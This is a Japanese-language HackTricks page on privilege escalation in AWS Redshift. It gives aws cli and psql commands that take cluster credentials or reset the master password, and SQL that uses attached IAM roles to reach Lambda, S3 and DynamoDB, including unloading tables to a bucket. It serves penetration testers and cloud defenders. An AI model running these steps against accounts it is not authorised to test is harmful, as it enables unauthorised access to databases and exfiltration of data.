AWS - Redshift Privesc

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Redshift

RDSに関する詳細は次を参照してください:

AWS - Redshift Enum

redshift:DescribeClusters, redshift:GetClusterCredentials

これらの権限があれば、すべてのクラスターの情報(名前やクラスターのユーザー名を含む)を取得し、アクセスするための認証情報を取得できます:

# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439

潜在的な影響: データベース内の機密情報を見つける。

redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM

これらの権限があれば、すべてのクラスターの情報を取得し、アクセスするための認証情報を取得できます。
postgresユーザーは、認証情報を取得するために使用されたIAM identityが持つ権限を持つことに注意してください。

# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439

Potential Impact: データベース内の機密情報を取得できる可能性があります。

redshift:DescribeClusters, redshift:ModifyCluster?

aws cliから内部postgres (redshit) ユーザーのマスターパスワードを変更することが可能です(これらが必要な権限だと思いますが、まだテストしていません):

aws redshift modify-cluster –cluster-identifier <identifier-for-the cluster> –master-user-password ‘master-password’;

Potential Impact: データベース内の機密情報を見つけることができます。

外部サービスへのアクセス

Warning

以下のリソースすべてにアクセスするには、使用する role を指定する必要があります。Redshift クラスターは a list of AWS roles が割り当てられていることがあります。それらは ARN を知っている場合 に使用できます。あるいは、割り当てられたものを使用するために “default” を設定するだけでも構いません。

さらに、explained here, Redshift はロールを連結して(最初の role が2番目の role を引き受けられる場合に限り)追加のアクセスを得ることができますが、単に 区切って カンマ で指定します: iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';

Lambdas

https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html に記載されているように、次のように redshift から lambda 関数を呼び出す ことができます:

CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;

S3

https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html に説明されているように、S3バケットへの読み取りおよび書き込みが可能です:

# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;

# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;

Dynamo

https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html に記載されているように、dynamodb からデータを取得することが可能です:

copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';

Warning

データを提供する Amazon DynamoDB テーブルは、クラスターと同じ AWS Region に作成する必要があります。Amazon DynamoDB テーブルが存在する AWS Region を指定するために REGION オプションを使用する場合は例外です。

EMR

詳細は https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html を参照してください。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする